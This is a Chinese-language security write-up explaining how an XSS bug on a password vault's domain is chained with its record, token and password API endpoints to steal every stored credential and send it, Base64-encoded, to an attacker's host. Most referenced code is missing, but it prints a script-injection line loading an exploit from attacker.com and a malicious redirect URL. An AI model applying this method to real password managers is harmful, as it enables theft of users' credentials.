如何通过 Password Vault 的 XSS 漏洞窃取用户密码信息

导语：目前，随着安全意识的逐渐普及，越来越多的用户开始使用多种密码保管箱、密码管理器来帮助存储不同网站的不同密码。那么，这些密码存储软件是否足够安全呢？ 在研究过程中，我发现在与 Password Vault 相同的域中存在一个跨站脚本漏洞，借助该漏洞可以实现对 Password Vault 的破解。

一、概述

目前，随着安全意识的逐渐普及，越来越多的用户开始使用多种密码保管箱、密码管理器来帮助存储不同网站的不同密码。那么，这些密码存储软件是否足够安全呢？

在研究过程中，我发现在与 Password Vault 相同的域中存在一个跨站脚本漏洞，借助该漏洞可以实现对 Password Vault 的破解。

二、应用程序流分析

为了更好地理解应用程序的工作方式，我们需要首先了解其功能和流，并且需要掌握应用是如何检索数据以及数据所在的位置。

在认真研究了应用程序的每个请求之后，我们发现应用程序会从位于/api/的 API 中检索不同的信息。

在对应用程序进行了一些爬行和抓取后，我发现了一些 API 端点：

三、详细分析 API 端点

当应用程序与 API 完全进行交互时，我们能够对流有更加明确的理解。在流中，每个端点都返回了一些值和信息，例如记录 ID、Session Token 等。为了实现窃取用户密码信息的目的，我们需要针对其中的一些 API 展开分析。

records/all

该端点位于/api/v3/records/all，负责接受 GET 请求。一旦在身份验证时，发送了 GET 请求，它就会返回具有记录 ID 的 JSON 对象以及与可用记录相关的其他信息。

surprise！ 500G 网络安全学习资料，👉戳此免费获取

passwords/record

该端点位于/api/v1/passwords/record。在从 record/all 端点检索记录 ID 后，这一端点用于从特定记录 ID 中检索密码和完整信息。

在我们的示例中，得到了以下 Record ID：

526882 – “Facebook 帐户”的记录 ID；

526883 – “Google 电子邮件”的记录 ID。

如果用户单击“Facebook 帐户”记录，将使用记录 ID 为 526882 的以下 JSON 数据，发送对/api/v1/passwords/record 的 POST 请求。这一记录 ID 将会被发送到 API，以检索完整的记录信息：

发送后，将会返回指定 ID 的以下信息，其中就包括了帐户和密码：

现在，我们已经知道如何检索 ID，也知道了如何返回数据。但问题是，应用程序在向 API 发送每一个 POST 请求的时候都会附带发送 CSRF Token。在请求中，Token 用于验证用户的会话是否有效。

session/token

为了找出这一 Token 是如何生成的，我查找了其他端点，试图找到有用的线索。终于，我发现位于/api/v1/session/token 的 API 端点负责生成 CSRF Token。

向端点发出 GET 请求，将会返回如下响应内容：

四、武器化

现在，我们开始研究应用程序流以及用于交换数据的端点。我们需要通过某种方式，从下面的端点中获取信息：

从/api/v1/passwords/record 中获取 Session Token；

从/api/v3/records/all 中获取记录 ID；

从/api/v1/passwords/record 中获取记录信息。

为了从端点获取信息，有一个简单的技巧是利用一些错误配置的 CORS，但在这里，应用程序似乎并没有将它用于资源共享。

此外，还有另一种可能性，是在同一个域中找到 XSS 漏洞，以应对同源策略（SOP）。否则，我们所有的 XHR 调用都会因为违反同源策略而失效。

在过了一段时间之后，我成功地在一个电子邮件激活页面上获得了 XSS，用户输入的电子邮件没有正确进行过滤。

目前，我们已经拥有了武器化的方法，现在就不用再担心同源策略，可以轻松进行 XHR 调用，从而以与应用程序相同的方式与 API 进行通信。

五、复制应用程序的正常流

现在，我们需要复制应用程序流。为了能借助 XSS 漏洞复制应用程序流并获取所需信息，我们需要确保它能够以相同的方式进行。

首先，使用 JavaScript 函数 fetch()向/api/v3/records/all 发出 GET 请求，获取所有记录 ID：

获取记录后，接下来需要获取 Session Token，以发出 POST 请求。在这里，我将记录的响应转换为 JSON，并直接从 JSON 对象调用记录 ID 的值。fetch()用于发送 GET 请求以捕获 Token，并从 JSON 对象中检索其值：

现在，我们得到了“session_token”和“record ID”。接下来要做的，就是要将包含记录 ID 的 POST 请求发送到/api/v1/passwords/record。我将会使用 XHR 发送具有指定记录 ID 的 POST 请求。需要遍历记录 ID，以逐条检索记录信息：

如大家所见，从第 30-34 行可以看出，XHR 被正确地配置。在第 45 行中，相应的值以{"id":record_ID_here,"is_organization:false}形式保存，随后发出请求。

在请求发出后，会解析得到的响应，并从响应中获取相应信息，例如标题、URL、用户名、密码。然后将这些值添加到虚拟变量“data_chunks”中，以进行最终处理。

在使用收集到的数据填充虚拟变量后，它将编码为 Base64，以避免产生字符冲突，并发送到攻击者的主机上。

在这里请注意：还有许多其他方法可以正确发送抓取到的数据，为了使演示尽量简单，我选择了 Base64 编码方法。此外，通过 POST 将数据发送到特定文件也是一个不错的选择。

六、瞄准目标

现在，我们的漏洞已经准备完成，我们必须要在易受攻击的区域利用 XSS 漏洞。在利用 XSS 时，可以使用两个简单的技巧：

在外部主机上托管 JavaScript 漏洞利用方法（可能需要设置 CORS 才能使其可以访问）；

直接使用 eval 和 atob，并在其中包含 Payload。

对于第一种技术，需要通过注入的<script src="http://attacker.com/path_to_exploit.js"></script>来加载外部 JavaScript。在处理大型漏洞利用代码时，这种方法很有效，并且由于漏洞利用代码不会记录在服务器中，可以实现一定程度的隐藏。

第二种方法的优势在于效率非常高，可以用于处理较短的 Payload。在这里，我将使用以下 Payload：

现在只需用 Base64 编码的源代码替换 atob()的值就可以了。首先，我们的 Payload 将由 atob 解码，然后使用 eval()执行。

所以这是最终的 Payload：

在这里，有人会说这是一个比较大的 Payload，显然，也可以从外部主机来加载.js 文件，但为了省去设置 CORS，我还是选择了这种方法。

现在，我需要托管一个 exploit.html 文件，其代码如下：

现在只需为 exploit.html 提供一个 URL，攻击者就可以让用户将表单http://attacker.com/exploit.html重定向到注入Payload的页面。

因此，我们将数据提供给已配置的用于检索数据的主机：

从上面的屏幕截图中，我们可以看到存储在 Password Vault 中的记录最终被成功检索到，并且我们成功利用了 XSS 漏洞。

通过这一漏洞，我们可以知道，XSS 不仅仅是一个弹出的窗口，如果被正确利用，XSS 漏洞所带来的危害是不容小觑的。安全研究人员只是通过无害的弹出窗口来验证是否存在 XSS 漏洞。